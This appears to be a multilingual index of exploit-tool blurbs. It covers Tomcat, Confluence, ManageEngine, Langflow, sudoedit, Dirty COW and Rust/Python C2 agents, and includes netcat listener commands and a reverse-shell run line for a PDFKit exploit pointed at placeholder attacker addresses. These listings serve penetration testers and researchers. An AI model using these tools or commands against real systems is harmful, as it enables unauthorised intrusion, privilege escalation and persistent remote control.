SSRFX

CVE-2014-4210+Redis未授权访问 安装 root@kitploit: pip install -r requirements.txt 使用 root@kitploit: usage: SSRFX.py -h --url URL --threads THREADS --app APP --network NETWORK --type TYPE --vulapp VULAPP --lhost LHOST --lport LPORT --rhost RHOST --rport RPORT SSRF Explotion Tools optional arguments: -h,...

CVE-2017-12617

Primeros pasos El propósito de esta Prueba de Concepto es demostrar cómo es posible usar la vulnerabilidad CVE-2017-12617 para tener control remoto sobre un servidor Apache Tomcat. Instrucciones 1. Por favor, ejecute este comando para iniciar el servidor. make serverup 2. Ejecute este comando par...

cve-2020-14008

Exploit CVE-2020-14008 para ManageEngine ¿Qué es esto? Este script explota la CVE-2020-14008 en ManageEngine Applications Manager para obtener una reverse shell con privilegios SYSTEM. Requisitos root@kitploit: pip3 install requests urllib3 Cómo usarlo 1. Inicia un listener root@kitploit: nc -nlv...

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell

LetsDefend--SOC-342-CVE-2025-53770-SharePoint-Exploit-ToolShell Introducción Investigué un zero-day de SharePoint llamado ToolShell CVE-2025-53770 en el laboratorio de LetsDefend. Simulé un ataque zero-day del mundo real en el que una petición POST maliciosa omitió la autenticación, ejecutó...

PoC_CVE-2019-10149--rce

Acerca de Ejecución remota de comandos en shell desde un servicio exim vulnerable. Las versiones vulnerables van de 4.87 a 4.91 inclusive. Consulta https://nvd.nist.gov/vuln/detail/cve-2019-10149. El siguiente script se basa en el PoC de Qualys. Consulta...

langflow-rce-exploit

Langflow RCE 漏洞利用 CVE-2025-3248 针对 Langflow 的远程代码执行漏洞利用 CVE-2025-3248 功能特点 自动漏洞检测 多种利用模式： 交互式 Shell 单命令执行 反弹 Shell 连接 文件上传能力 彩色用户界面 多种反弹 Shell 方法 命令历史持久化 📌 更新日志 v2.0 ✨ 新特性： 高级 Payload 系统 ，支持 5 种执行方式 文件上传/下载 ，使用 Base64 编码 持久化 （通过 cron 任务，persist 命令） 交互式 Shell 升级 ： upload localpath remotepath...

Heroinn

Heroinn Una implementación de framework C2/post-explotación multiplataforma en Rust. Este proyecto es solo para fines de investigación y estudio, y cualquier comportamiento ilegal que haga uso de este proyecto no tiene relación con el mismo. Características GUI Shell PTY interactiva Recopilación ...

PyHmmm

PyHmmm ¿Qué es esto? Esto es un agente de terceros para Havoc C2 escrito en python. Está pensado como un PoC básico para aprender a escribir agentes personalizados de Havoc, con su publicación de blog correspondiente...

FShell

FShell Descripción FShell es mi implementación de un Forward Shell. Está diseñado para obtener una tty interactiva usando ejecución remota de código a través de un protocolo sin estado p. ej. HTTP. ¿Por qué debería usar un forward shell? El servidor remoto no puede acceder a internet, no hay...

DirCreate2System

DirCreate2System Explotando bugs de creación de directorios privilegiados con Windows Error Reporting para obtener NT AUTHORITY\SYSTEM Breve descripción: He descubierto que comctl32.dll que falta en el directorio del sistema que realmente no existe es cargado por wermgr.exe a través del informe d...

CVE-2019-0232

CVE-2019-0232 Descripción Esta es una herramienta que automatiza el flujo de trabajo de explotación para CVE‑2019‑0232 proporcionando tanto el modo de ejecución de comandos como el modo de shell inversa. Soporta codificación automática de URLs para comandos, inicia un servidor HTTP temporal para...

CVE-2022-25765

Exploit para CVE-2022-25765 Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection Uso 1. Inicia un listener de netcat en tu máquina de ataque: root@kitploit: nc -lvnp 4444 2. Ejecuta el exploit: root@kitploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947EXP,CVE-2022-22947RCE Usage 反弹shell python3 CVE-2022-22947.py 目标网址 弹shell的IP 端口 执行命令 python3 CVE-2022-22947.py 目标网址 命令...

CVE-2023-22809-sudoedit-privesc

CVE-2023-22809 escalada de privilegios sudo Versiones de sudo afectadas: 1.8.0 a 1.9.12p1 Este script automatiza la explotación de la vulnerabilidad CVE-2023-22809 para obtener un shell de root. El script verifica si el usuario actual tiene acceso para ejecutar el comando sudoedit o sudo -e para...

cve-2018-2628

cve-2018-2628 cve-2018-2628 反弹shell 文章 https://pi.wrysunnylove.cn/archives/58...

CVE-2022-26134

Explotación Activa de Confluence CVE-2022-26134 Descripción General CVE-2022-26134 es una vulnerabilidad crítica de Ejecución Remota de Código RCE que afecta a Atlassian Confluence. Esta vulnerabilidad permite a atacantes no autenticados ejecutar código arbitrario mediante la inyección de...

cve-2023-22527

Ejecución de Código Arbitrario en la Memoria de Confluence CVE-2023-22527 es una vulnerabilidad ampliamente conocida que afecta a Atlassian Confluence. La mayoría de los exploits para esta vulnerabilidad utilizan freemarker.template.utility.Execute para ejecutar un comando del sistema operativo,...

CVE-2017-8869

CVE-2017-8869 - MediaCoder 0.8.48.5888 - Desbordamiento de búfer local SEH Exploit reescrito con opción de shell inversa...

CVE-2025-28915

CVE-2025-28915 - Exploit de Subida Arbitraria de Archivos en WordPress ThemeEgg ToolKit 📌 Descripción Una vulnerabilidad de Subida de Archivos Sin Restricciones en el plugin ThemeEgg ToolKit para WordPress versiones ≤ 1.2.9 permite a atacantes autenticados subir webshells al servidor. Esto puede...

dirtycow-vdso

0xdeadbeef PoC para Dirty COW CVE-2016-5195. Este PoC se basa en ptrace en lugar de /proc/self/mem para parchear vDSO. Tiene algunas ventajas sobre los PoCs que modifican binarios del sistema de archivos: no requiere un binario setuid bypass de SELinux escape de contenedores sin caída del kernel...